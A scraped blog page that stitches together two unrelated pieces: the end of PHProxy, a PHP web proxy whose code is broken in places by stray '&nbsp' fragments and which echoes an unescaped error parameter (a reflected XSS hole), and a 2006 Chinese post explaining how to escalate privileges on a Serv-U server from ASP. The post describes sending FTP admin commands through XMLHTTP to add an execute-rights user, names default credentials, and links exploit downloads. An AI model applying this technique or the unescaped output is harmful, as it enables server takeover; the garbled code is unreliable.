$data = fread($this->socket, 8192);
$response .= $data;
}
while (strlen($data) != 0);

fclose($this->socket);
preg_match("#(.*?)\r\n\r\n(.*)#s", $response, $matches);

$this->response_headers = $matches[1];
$this->response_body = $matches[2];
}

function set_content_type()
{
preg_match("#content-type:([^\r\n]*)#i", $this->response_headers, $matches);

if (trim($matches[1]) != '')
{
$content_type_array = explode(';', $matches[1]);
$this->content_type = strtolower(trim($content_type_array[0]));
}
}

function set_url($url)
{
$this->url = $this->decode_url($url);

if (strpos($this->url, '://') === false)
{
$this->url = 'http://' . $this->url;
}

$url_segments = @parse_url($this->url);

if (!empty($url_segments))
{
$url_segments['port'] = isset($url_segments['port']) ? $url_segments['port'] : 80;
$url_segments['path'] = isset($url_segments['path']) ? $url_segments['path'] : '/';
$url_segments['dir'] = substr($url_segments['path'], 0, strrpos($url_segments['path'], '/'));
$url_segments['base'] = $url_segments['scheme'] . '://' . $url_segments['host'] . $url_segments['dir'];
$url_segments['prev_dir'] = $url_segments['path'] != '/' ? substr($url_segments['base'], 0, strrpos($url_segments['base'], '/')+1) : $url_segments['base'] . '/';

$this->url_segments = $url_segments;

/*
URL: http://username:password@< wind_code_1 >
scheme // http
host // www.example.com
port // 80
user // username
pass // password
path // /dir/dir/page.php
query // ? 'foo=bar&foo2=bar2'
fragment // # 'bookmark'

dir // /dir/dir
base // http://www.example.com/dir/dir
prev_dir // http://www.example.com/dir/
*/

if (!empty($this->allowed_hosts) && !in_array($this->url_segments['host'], $this->allowed_hosts))
{
$this->trigger_error('You are only allowed to browse these websites: ' . implode(', ', $this->allowed_hosts));
}
}
else
{
$this->trigger_error('Please supply a valid URL');
}
}

function encode_url($url)
{
$url = str_rot13(urlencode(preg_replace('#^([\w+.-]+)://#i', "/", $url)));
return $url;
}

function decode_url($url)
{
$url = preg_replace('#^([\w+.-]+)/#i', "://", urldecode(str_rot13($url)));
return $url;
}

function modify_urls()
{
preg_match_all("#\s(href|src|action|codebase|url)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", $this->response_body, $matches, PREG_SET_ORDER);

foreach ($matches as $match)
{
$uri = trim($match[3]);
$fragment = ($hash_pos = strpos($uri, '#') !== false) ? '#' . substr($uri, $hash_pos) : '';

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
switch (substr($uri, 0, 1))
{
case '/':
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
break;
case '#':
continue 2;
default:
$uri = $this->url_segments['base'] . '/' . $uri;
break;
}
}

$uri = $this->encode_url($uri);
$replace = ' ' . $match[1] . '=' . $match[2] . $this->script_url . '?url=' . $uri . $fragment . $match[4] . $match[5];

$this->response_body = str_replace($match[0], $replace, $this->response_body);
}
}

function set_flags($flags)
{
if (is_numeric($flags))
{
setcookie('flags', $flags, time()+(4*7*24*60*60), '', $_SERVER['HTTP_HOST']);
$this->flags['include_form'] = $flags == 1 ? 1 : 0;
$this->flags['remove_scripts'] = $flags == 1 ? 1 : 0;
$this->flags['accept_cookies'] = $flags == 1 ? 1 : 0;
$this->flags['show_images'] = $flags == 1 ? 1 : 0;
$this->flags['show_referer'] = $flags == 1 ? 1 : 0;
}
else if (isset($_COOKIE['flags']))
{
$this->set_flags($_COOKIE['flags']);
}
}

function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";

if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}

$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';

if ($_SERVER['REQUEST_METHOD'] == 'POST')
{
$this->set_post_body($_POST);

$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: " . strlen($this->post_body) . "\r\n\r\n";
$headers .= $this->post_body;
}

$headers .= "\r\n";

$this->request_headers&nbsp
;= $headers;
}

function set_post_body($array, $parent_key = null)
{
foreach ($array as $key => $value)
{
if (is_array($value))
{
$this->set_post_body($value, isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key));
}
else
{
$this->post_body .= $this->post_body != '' ? '&' : '';
$key = isset($parent_key) ? sprintf('%s[%s]', $parent_key, urlencode($key)) : urlencode($key);
$this->post_body .= $key . '=' . urlencode(__stripslashes($value));
}
}
}

function follow_location()
{
if (preg_match("#(location|uri):([^\r\n]*)#i", $this->response_headers, $matches))
{
$uri = $this->decode_url(trim($matches[2]));

if (!preg_match('#^[\w+.-]+://#i', $uri))
{
if (substr($uri, 0, 1) == '/')
{
$uri = $this->url_segments['scheme'] . '://' . $this->url_segments['host'] . $uri;
}
else
{
$uri = $this->url_segments['prefix'] . '/' . $uri;
}
}

$this->url = $uri;
return true;
}
return false;
}

function set_cookies()
{
if (preg_match_all("#set-cookie:([^\r\n]*)#i", $this->response_headers, $matches))
{
foreach ($matches[1] as $match)
{
preg_match('#^\s*([^=;,\s]*)=?([^;,\s]*)#', $match, $cookie) ? list(, $name, $value) = $cookie : null;
preg_match('#;\s*expires\s*=([^;]*)#i', $match, $cookie) ? list(, $expires) = $cookie : null;
preg_match('#;\s*path\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $path) = $cookie : null;
preg_match('#;\s*domain\s*=\s*([^;,\s]*)#i', $match, $cookie) ? list(, $domain) = $cookie : null;
preg_match('#;\s*(secure\b)#i', $match, $cookie) ? list(, $secure) = $cookie : null;

$expires = isset($expires) ? strtotime($expires) : 0;
$path = isset($path) ? $path : $this->url_segments['dir'];
$domain = isset($domain) ? $domain : $this->url_segments['host'];
$domain = rtrim($domain, '.');

if (!preg_match("#$domain$#i", $this->url_segments['host']))
{
continue;
}
if (preg_match('#\.(com|edu|net|org|gov|mil|int|aero|biz|coop|info|museum|name|pro)$#i', $domain))
{
if (substr_count($domain, '.') < 2)
{
continue;
}
}
else if (substr_count($domain, '.') < 3)
{
continue;
}
setcookie(urlencode("PHProxy;$name;$domain;$path"), $value, $expires, '', $_SERVER['HTTP_HOST']);
}
}
}

function get_cookies($restrict = true)
{
if (!empty($_COOKIE))
{
$cookies = '';

foreach ($_COOKIE as $cookie_name => $cookie_value)
{
$cookie_args = explode(';', urldecode($cookie_name));

if ($cookie_args[0] != 'PHProxy')
{
continue;
}

if ($restrict)
{
list(, $name, $domain, $path) = $cookie_args;
$domain = str_replace('_', '.', $domain);

if (preg_match("#$domain$#i", $this->url_segments['host']) && preg_match("#^$path#i", $this->url_segments['path']))
{
$cookies .= $cookies != '' ? '; ' : '';
$cookies .= "$name=$cookie_value";
}
}
else
{
array_shift($cookie_args);
$cookie_args[1] = str_replace('_', '.', $cookie_args[1]);
$cookie_args[] = $cookie_value;
$cookies[] = $cookie_args;
}
}
return $cookies;
}
}

function delete_cookies($hash)
{
$cookies = $this->get_cookies(false);

foreach ($cookies as $args)
{
if ($hash == 'all' || $hash == md5($args[0].$args[1].$args[2].$args[3]))
{
setcookie(urlencode("PHProxy;$args[0];$args[1];$args[2]"), '', 1);
}
}
}

function return_response($send_headers = true)
{
if (strpos($this->content_type, 'text/html') !== false || strpos($this->content_type, 'xhtml') !== false)
{
if ($this->flags['remove_scripts'] == 1)
{
$this->remove_scripts();
}
if ($this->flags['show_images'] == 0)
{
$this->remove_images();
}

$this->modify_urls();

if ($this->flags['include_form'] == 1)
{
$this->include_form();
}
}
$headers = explode("\r\n", trim($this->response_headers));
$headers[] = 'Content-Disposition: '. (strpos($this->content_type, 'octet_stream') ? 'attachment' : 'inline') .'; filename='. substr($this->url_segments['path'], strrpos($this->url_segments['path'], '/')+1);
$headers[] = 'Content-Length: '. strlen($this->response_body);

if ($send_headers)
{
foreach ($headers as $header)
{
header($header);
}
}

return $this->response_body;
}

function remove_scripts()
{
$this->response_body = preg_replace('#<script[^>]*?>.*?</script>#si', '', $this->response_body); // Remove any scripts enclosed between <script />
$this->response_body = preg_replace("#\s*(\bon\w+)=([\"\'])?(.*?)([\"\'])?([\s\>])#i", "", $this->response_body); // Remove javascript event handlers
$this->response_body = preg_replace('#<noscript>(.*?)</noscript>#si', "", $this->response_body); //expose any html between <noscript />

}

function remove_images()
{
$this->response_body = preg_replace('#<(img|image)[^>]*?>#si', '', $this->response_body);
}

function include_form()
{
ob_start();
?><script src="javascript.js" type="text/javascript"></script>
<div style="text-align: center;border: 1px solid #00c; color: #000066;background-color: #eeeeff;font-size: 11px">
<form name="proxy_form" method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form name="settings" action="" method="get" onsubmit="return submit_form();">
Current URI: <input type="text" size="66" name="url" value="<?php echo $this->url ?>" />
<input type="submit" name="browse" value="Browse" onclick="return submit_form();" />
<input type="checkbox" name="new_window" value="true" /> New Window [<a href="<?php echo $this->script_url ?>?url=<?php&nbsp
;echo $this->encode_url($this->url_segments['prev_dir']) ?>">Up One Directory</a>]<br />
<?php echo $this->options_list() ?>
</form></div><hr style="color: #000066" /><?
$form_html = ob_get_contents();
ob_end_clean();
$this->response_body = preg_replace("#\<body(.*?)\>#si", "\n$form_html", $this->response_body, 1);
}

function trigger_error($error)
{
header("Location: $this->script_url?error=$error");
exit;
}

function options_list($tabulate = false, $comments_on = false)
{
$output = '';
$comments = array();
$comments['include_form'] = 'Includes a mini URL-form on every HTML page';
$comments['remove_scripts'] = 'Remove all sorts of client-side scripting';
$comments['accept_cookies'] = 'Accept HTTP cookies';
$comments['show_images'] = 'Show images';
$comments['show_referer'] = 'Show referring website in HTTP headers';

foreach ($this->flags as $flag_code => $flag_status)
{
$interface = array(ucwords(str_replace('_', ' ', $flag_code)),
' <input type="checkbox" name="ops[]"'
. ($flag_status == 1 ? ' checked="checked"' : '') . ' /> '
);
$tabulate ? null : $interface = array_reverse($interface);

$output .= ($tabulate ? '<tr><td class="option">' : '')
. $interface[0]
. ($tabulate ? '</td><td class="option">' : '')
. $interface[1]
. ($comments_on ? $comments[$flag_code] : '')
. ($tabulate ? '</td></tr>' : '');
}

return $output;
}

}

$PHProxy = new PHProxy(isset($_GET['flags']) ? $_GET['flags'] : null);

if (isset($_GET['action'], $_GET['delete']) && $_GET['action'] == 'cookies')
{
$PHProxy->delete_cookies($_GET['delete']);
header("Location: $PHProxy->script_url?action=cookies");
exit();
}

if (isset($_GET['url']))
{
$PHProxy->start_transfer($_GET['url']);
echo $PHProxy->return_response();
exit();
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>PHProxy</title>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<style>
body
{
margin: 10px 0px 0px 0px;
padding: 0px;
font-size: 12px;
}

form, input
{
margin: 0px;
padding: 0px;
}

body, input
{
font-family: lucida sans unicode, lucida, helvetica, verdana, arial, sans-serif;
}

input
{
font-size: 10px;
font-weight: bold;
color: #E76B18;

}

.title
{
font-size: 25px;
color: #E67D0B;
border-bottom: 1px solid #E76B18;
}

.error
{
font-size: 12px;
background-color: #FF0000;
color: #FFFFFF;
border-bottom: 1px solid #E76B18;
}

#container
{
border: 1px solid #CCCDD7;
width: 700px;
margin: auto;
}

#menu
{
border-left: 1px solid #CCCDD7;
border-bottom: 1px solid #CCCDD7;
float: right;
height: 20px;
background-color: #EEEEEE;
}

.option
{
height: 25px;
border-bottom: 1px solid #3399FF;
}

.shade
{
background-color: #EEEEEE;
}

.head
{
background-color: #A2AACE;
}

a:link, a:visited
{
color: #21A121;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}

a:hover, a:active
{
color: #3399FF;
text-decoration: none;
border-bottom: 1px solid #ffb944;
}
</style>
<script type="text/javascript">
alpha1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
alpha2 = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';

function str_rot13(str)
{
newStr = '';

for (i = 0; i < str.length; i++)
{
curLet = str.charAt(i);
curLetLoc = alpha1.indexOf(curLet);

if (curLet == '#')
{
document.proxy_form.action += str.substring(i, str.length)
}

newStr += (curLetLoc < 0) ? curLet : alpha2.charAt(curLetLoc);
}

return newStr;
}

function submit_form()
{
flags = '';

for (i = 0; i < document.settings.elements['ops[]'].length; i++)
{
flags += (document.settings.elements['ops[]'].checked == true) ? '1' : '0';
}

document.proxy_form.flags.value = flags;
document.proxy_form.target = (document.settings.new_window.checked == true) ? '_blank' : '_top';
searchPattern = /^([\w+.-]+):\/\//gi;
document.proxy_form.url.value = str_rot13(document.settings.url.value.replace(searchPattern, "\/"));
document.proxy_form.submit();
return false;
}
</script>
</head>
<body>
<div id="container">
<div id="menu"><a href="?action=form">URL Form</a> | <a href="?action=cookies">Manage Cookies</a></div>
<div class="title">PHProxy</div>
<?php

if (isset($_GET['error']))
{
echo '<div class="error"><b>Error:</b> ' . $_GET['error'] . '</div>';
}

if (isset($_GET['action']) && $_GET['action'] == 'cookies')
{
$cookies = $PHProxy->get_cookies(false);

if (!empty($cookies))
{
echo '<table style="width: 100%">';
echo '<tr><td class="option" colspan="5"><a href="?action=cookies&delete=all">Clear All Cookies</a></td></tr>';
echo '<tr><td class="head">Name</td><td class="head">Domain</td><td class="head">Path</td><td class="head">Value</td><td class="head">Action</td></tr>';

for ($i = 0; $i < count($cookies); $i++)
{
$j = $i&1 ? ' class="shade"' : '';
echo "<tr><td$j></td><td$j></td><td$j></td>"
. "<td$j></td><td$j><a href=". '"?action=cookies&delete='. md5(implode('', $cookies[$i])) . '">delete</a></td></tr>';
}

echo '</table>';
}
else
{
echo '<div class="error">No cookies&nbs
p;available.</div>';
}
}
else
{
?>
<form method="get" action="<?php echo $_SERVER['PHP_SELF'] ?>" name="proxy_form">
<input type="hidden" name="url" value="" />
<input type="hidden" name="flags" value="" />
</form>
<form method="get" name="settings" action="" onsubmit="return submit_form();">
<table style="width: 100%">
<tr><td class="option" style="width: 20%">URL</td><td class="option" style="width: 80%"> <input type="text" name="url" size="70" value="" /></td></tr>
<?php echo $PHProxy->options_list(true, true) ?>
</table>
<div style="text-align: center"><input type="checkbox" name="new_window" />New Window <input type="submit" name="browse" value="Browse" onclick="return submit_form();" /><input type="reset" value="Reset Form" /></div>

<?
/*
<div style="text-align: center"><a href="PHProxyhttp://sourceforge.net/projects/poxy/">PHProxy</a> <?php echo $PHProxy->version ?> Copyright 2004 <a href="ultimategamer00http://www.whitefyre.com/">ultimategamer00</a></div>
*/
?>

</form>
<?php
}

echo '</div></body></html>';
?>

分类: 技术文章 标签: ,

Serv-U本地权限提升的ASP实现

2006年9月21日 没有评论 92 views

Author:lake2 ( http://lake2.0x54.org )

最近的生活真无聊,寒冰掌老大见我无所事事,就说如果我能把Serv-U本地提权的ASP程序做出来就给介绍个MM,所以呢,就有了这篇文章^_^

Serv-U本地提权的问题很古老了,不清楚的朋友谷歌一下先,我就不罗嗦啦。呵呵,最主要的是相继出现了php、perl、aspx版本的提权脚本,一时间刀光剑影满天飞,惟独缺了ASP版的。主要是由于郁闷的ASP不能像其他脚本那样访问Socket(另一个原因是因为老大没早点对我用美眉计^_^)。

网上流传可以利用MSWinsock控件实现,这是不好滴。因为这是个第三方组件,呵呵,几率相当小,既然要杀人灭口,嘿嘿,肯定要采用一套通杀的方法才是。

Serv-U服务器管理那里使用了FTP协议,所以我们应该研究一下FTP协议先。

正常的FTP协议的认证过程:

220 Serv-U FTP Server v5.2 for WinSock ready...

user lake2

331 User name okay, need password.

pass lake2lake2

230 User logged in, proceed.

……

现在我乱来:

220 Serv-U FTP Server v5.2 for WinSock ready...

Hi, I'm Bill Gates!

530 Not logged in.

Open!

530 Not logged in.

I am hacker !

530 Not logged in.

Give you money

530 Not logged in.

user lake2

331 User name okay, need password.

pass lake2lake2

230 User logged in, proceed.

……

注意,如果期待的数据不是user XXX,Serv-U将返回错误信息并一直等待正确的登陆命令。暗示着什么呢,呵呵,暗示我们要成功啦。

最近用XMLHTTP组件比较多,这个系统内置组件就是利用HTTP协议发送和接收数据。我们将利用这个组件实现Serv-U的提权。现在的问题在于我们怎么把FTP协议通过HTTP协议发送出去呢?

嘿嘿,没看到刚才我辛辛苦苦测试的结果么,只要利用POST方式提交数据,POST的内容是FTP命令就行啦,因为前面的HTTP报文头会被Serv-U认为是非法的命令而忽略,而POST的内容即FTP命令就会被接受执行!

由于XMLHTTP及Serv-U的特性,又带来一系列问题:XMLHTTP没有超时设置,由于等不到服务器响应的HTTP报文头,会一直挂起;XMLHTTP是单用户且复用Socket的,根据HTTP协议版本对同一目标只有2个或者4个连接,所以执行一次(或者2次)添加域删除域之后就不能再次连接了;Serv-U的管理模式使用的伪FTP协议,也就是不认QUIT命令,造成连接不能断开(用ServerXMLHTTP可以很好的解决这些问题,但是仅限于XP下,2000/2003上又不行,郁闷)。

所以只有用一个折中的办法来解决以上的若干问题:

1、XMLHTTP先添加FTP用户;

2、自己登陆FTP用新帐号执行N多命令提权;

3、XMLHTTP删除新用户

你必须记得,因为连接不能断开,你只有一次或者两次执行上述步骤的机会!如果还想再来,呵呵,等着IIS或者FTP重启吧。

好在以前我也写过一个利用有执行权限的FTP帐号执行命令的程序,使得第2步方便了不少,程序这里下载之:http://www.0x54.org/lake2/program/ftpshell.exe

完整的ASP代码这里下载:http://www.0x54.org/lake2/program/suASP.rar

该ASP程序将在端口21添加一个用户名lake密码admin123的执行权限用户,有什么特殊情况(比如ftp端口不是21),自己改代码吧。

举一反三,似乎这样也可以在特定情况利用asp来访问FTP做些事情,不过那是你的事情了。

搞定散伙收工走人,enjoy it!

分类: 技术文章 标签: ,